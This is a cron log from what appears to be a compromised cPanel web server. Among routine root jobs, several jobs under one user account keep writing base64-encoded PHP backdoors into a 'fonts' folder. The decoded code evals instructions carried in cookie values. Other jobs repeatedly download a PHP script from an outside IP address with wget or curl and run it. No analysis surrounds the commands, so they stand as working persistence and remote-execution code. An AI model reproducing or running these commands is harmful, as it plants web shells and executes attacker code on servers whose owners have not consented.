Sep 21 14:45:01 ip-184-168-122-23 CROND[26245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:45:01 ip-184-168-122-23 CROND[26246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:45:01 ip-184-168-122-23 CROND[26248]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:45:01 ip-184-168-122-23 CROND[26249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:45:01 ip-184-168-122-23 CROND[26247]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:46:01 ip-184-168-122-23 CROND[26368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:46:01 ip-184-168-122-23 CROND[26370]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:46:01 ip-184-168-122-23 CROND[26373]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 21 14:46:01 ip-184-168-122-23 CROND[26371]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:46:01 ip-184-168-122-23 CROND[26372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:46:01 ip-184-168-122-23 CROND[26374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 14:46:01 ip-184-168-122-23 CROND[26375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:47:01 ip-184-168-122-23 CROND[26514]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:47:01 ip-184-168-122-23 CROND[26515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:47:01 ip-184-168-122-23 CROND[26516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:47:01 ip-184-168-122-23 CROND[26518]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:48:01 ip-184-168-122-23 CROND[26629]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:48:01 ip-184-168-122-23 CROND[26631]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:48:01 ip-184-168-122-23 CROND[26630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:48:01 ip-184-168-122-23 CROND[26632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:48:01 ip-184-168-122-23 CROND[26634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:49:01 ip-184-168-122-23 CROND[26742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:49:01 ip-184-168-122-23 CROND[26745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:49:01 ip-184-168-122-23 CROND[26751]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:49:01 ip-184-168-122-23 CROND[26750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26870]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:50:01 ip-184-168-122-23 CROND[26872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:50:01 ip-184-168-122-23 CROND[26874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26877]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26880]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26875]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 14:50:01 ip-184-168-122-23 CROND[26876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:51:01 ip-184-168-122-23 CROND[26986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:51:01 ip-184-168-122-23 CROND[26988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:51:01 ip-184-168-122-23 CROND[26989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:51:01 ip-184-168-122-23 CROND[26990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:52:01 ip-184-168-122-23 CROND[27110]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:52:01 ip-184-168-122-23 CROND[27114]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:52:01 ip-184-168-122-23 CROND[27112]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:52:01 ip-184-168-122-23 CROND[27111]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:52:01 ip-184-168-122-23 CROND[27113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:53:01 ip-184-168-122-23 CROND[27323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:53:01 ip-184-168-122-23 CROND[27325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:53:01 ip-184-168-122-23 CROND[27326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:53:01 ip-184-168-122-23 CROND[27324]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:54:01 ip-184-168-122-23 CROND[27433]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:54:01 ip-184-168-122-23 CROND[27436]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:54:01 ip-184-168-122-23 CROND[27437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:54:01 ip-184-168-122-23 CROND[27435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:54:01 ip-184-168-122-23 CROND[27438]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:55:01 ip-184-168-122-23 CROND[27549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:55:01 ip-184-168-122-23 CROND[27555]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:55:01 ip-184-168-122-23 CROND[27552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 14:55:01 ip-184-168-122-23 CROND[27553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:55:01 ip-184-168-122-23 CROND[27556]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 14:55:01 ip-184-168-122-23 CROND[27554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:56:01 ip-184-168-122-23 CROND[27700]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 14:56:01 ip-184-168-122-23 CROND[27703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 14:56:01 ip-184-168-122-23 CROND[27704]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 14:56:01 ip-184-168-122-23 CROND[27702]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 14:56:01 ip-184-168-122-23 CROND[27705]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 14:57:01 ip-184-168-122-23 CROND[27847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
